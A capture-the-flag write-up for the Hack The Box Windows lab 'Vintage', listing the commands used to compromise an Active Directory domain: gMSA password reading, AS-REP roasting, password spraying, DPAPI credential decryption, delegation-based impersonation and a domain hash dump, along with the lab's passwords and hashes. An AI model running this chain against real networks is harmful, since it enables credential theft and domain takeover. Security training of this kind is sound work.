HTB-Vintage

HTB-Vintage
eugewxBox Info
| Difficulty | Hard |
|---|---|
| OS | Windows |
| IP Address | 10.10.11.45 |
| Credentials | P.Rosa : Rosaisbest123 |
Port Scanning
1 | # Check all open TCP |
Update DNS
1 | sudo nano /etc/hosts |
Service Enumeration
389/tcp - LDAP
Since the account was provided lets use it to check LDAP
1 | ldapsearch -x -H ldap://10.10.11.45 -D 'vintage\P.Rosa' -w 'Rosaisbest123' -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOf |
Outcome of the ldapsearch
1 | # extended LDIF |
Inside the LDAP info found a Computer in name of FS01.vintage.htb lets update it into /etc/hosts
Bloodhound
In order to get DNS work proper, we need to change our KALI resolver.
1 | sudo nano /etc/resolv.conf |
Now we can start with bloodhound
1 | sudo ntpdate 10.10.11.45 && bloodhound-python -u P.Rosa -p 'Rosaisbest123' -d vintage.htb -c All --zip -dc dc01.vintage.htb |
After collected, start bloodhound
1 | sudo neo4j start |
L.BIANCHI_ADM user is Domain Admins
C.NERI_ADM user can RDP into DC01
GMSA01$@VINTAGE.HTB user had the GenericWrite and AddSelf permission to ServiceManagers group
FS01 Computer is member of Domain Computers and this group able to ReadGMSAPassword
Initiate User Foothold
Obtain gMSA01$
Use impacket-gettgt to obtain TGT ticket in ccache format
1 | sudo ntpdate 10.10.11.45 && impacket-getTGT -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01 |
1 | export KRB5CCNAME=FS01\$.ccache |
Then use BloodyAD to obtain GMSA01$ managed service account password which is storing in the msDS-ManagedPassword attributes
1 | bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword |
1 | distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb |
Now we can abuse the gMSA service user to obtain the Kerberos TGT with the hashes
1 | sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178 |
1 | export KRB5CCNAME=GMSA01\$.ccache |
Then add P.Rosa into the SERVICEMANAGERS group, and use GMSA ccache to generate P.Rosa ticket
1 | sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa" |
1 | sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip dc01.vintage.htb |
With the SERVICEMANAGERS group, P.Rosa user now can obtain all the users.
1 | ldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName | grep "sAMAccountName:" | cut -d " " -f 2 > users.txt |
Then use Impacket-GetNPUsers to list all the users that doesn’t require Kerberos Preauth (UF_DONT_REQUIRE_PREAUTH)
1 | sudo ntpdate 10.10.11.45 && impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/ |
Disable PREAUTH
After listed all the user that doesn’t require Kerberos Preauth, now we can abuse the bloodyAD tools to update DONT_REQ_PREAUTH attributes into the service user
1 | sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH |
Remove ACCOUNTDISABLE flags from the service users
1 | sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_ARK -f ACCOUNTDISABLE |
Now lets check those AD users again
1 | sudo ntpdate 10.10.11.45 && impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/ |
Obtained both 3 service user hashes
1 | $krb5asrep$23$svc_sql@VINTAGE.HTB:30fe580fde4cc8d859e66a0b633862ba$2a15c602b497013f8e4d445a711eceaadb5998c5b249411d3166ccea91ad5c37a91f26eace6a9f4f12009fa2712e959c68d8900185b0e07d3bd2df432497540874a4cbc5f1c4076b24c1652f6f7e8a294c0841614c3555a98a3cce78471c49c56aa607c01452c1e15d6f4034d32e7b15e4beff9d0a96eecc60d4a3d42109ce669c8bdc67d389df73e3e307f9a568b1904d74c14d617507edf0b5890b7dd03c0df8a87f3f1224a36be363b07e89f153b43815bdc18f34632859237aaa018b3231db461e6f77db0981f8a20819dc26684f1b231c2549b90ee8b0adb58fc59c2a19da122066a0209a60645d |
Crack Kerberos ASREP hash
1 | hashcat -m 18200 svc_sql.hash /usr/share/wordlists/rockyou.txt |
Here we obtained svc_sql service user password
1 | svc_sql : Zer0the0ne |
Kerbrute Password Spray
https://github.com/ropnop/kerbrute
With the password obtain, lets try to check Kerbrute to password spray
1 | sudo ntpdate 10.10.11.45 && ./kerbrute --dc vintage.htb -d vintage.htb -v passwordspray ../HTB/Season6/Vintage/users.txt Zer0the0ne |
From the results shows that 2 logins was successful
1 | svc_sql@vintage.htb : Zer0the0ne |
WinRM C.NERI
Before proceed to WinRM, we need to obtain c.neri user ceritifcate
1 | sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/c.neri:Zer0the0ne -dc-ip vintage.htb |
Update /etc/krb5.conf
https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98
Found a script to configure krb5.conf easily
1 | python3 configure_krb5.py vintage.htb dc01 |
1 | [libdefaults] |
Now we only can winrm access
1 | sudo ntpdate -s 10.10.11.45 && evil-winrm -i dc01.vintage.htb -u C.Neri -r vintage.htb |
User Flag
Privilege Escalation
OS Explore
Inside the OS there is antivirus running, which is hard to exploit, check the writeups, found we can start from DAPI.
DPAPI
DPAPI secrets | The Hacker Recipes
The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords).
We can abuse DPAPI to obtain data that are stored in the users directory and are secured by user-specific master keys derived from the users password.
1 | cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials |
1 | cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115 |
Decrypt the DPAPI
Decrypt Masterkey
1 | impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne |
Owned the decrypted key, and it can be used to decrypt the credentials
Decrypt Credentials
1 | impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a |
Here we obtained the c.neri_adm credentials
1 | c.neri_adm : Uncr4ck4bl3P4ssW0rd0312 |
Bloodhound from C.Neri_adm
1 | sudo ntpdate 10.10.11.45 && bloodhound-python -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -d vintage.htb -c All --zip -ns 10.10.11.45 |
Initiate Root Foothold
DELEGATEDADMINS Group
Add the svc_sql user into DELEGATEDADMINS group
1 | sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL" |
Troubleshoot
Remove ACCOUNTDISABLE attribute from svc_sql user
1 | sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" -u 'C.Neri' -p Zer0the0ne -k --dc-ip 10.10.11.45 remove uac svc_sql -f ACCOUNTDISABLE |
Then obtain svc_sql TGT
1 | sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb |
Impersonate L.BIANCHI_ADM
Now we had added the svc_sql user to DELEGATED ADMINS, then we can obtain the L.BIANCHI_ADM user ticket
1 | sudo ntpdate 10.10.11.45 && impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne' |
Update svc_sql users to DELEGATED ADMINS groups and obtain L.BIANCHI_ADM user tgt in quick.
1 | sudo ntpdate 10.10.11.45 && impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne' |
Once obtained, export to KRB5CCNAME and use wmiexec to access
1 | export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache |
Root Flag
LSA Hash
Dumping Domain Controller Hashes Locally and Remotely | Red Team Notes
1 | sudo ntpdate 10.10.11.45 && impacket-secretsdump -just-dc-ntlm -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb |
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de::: |









































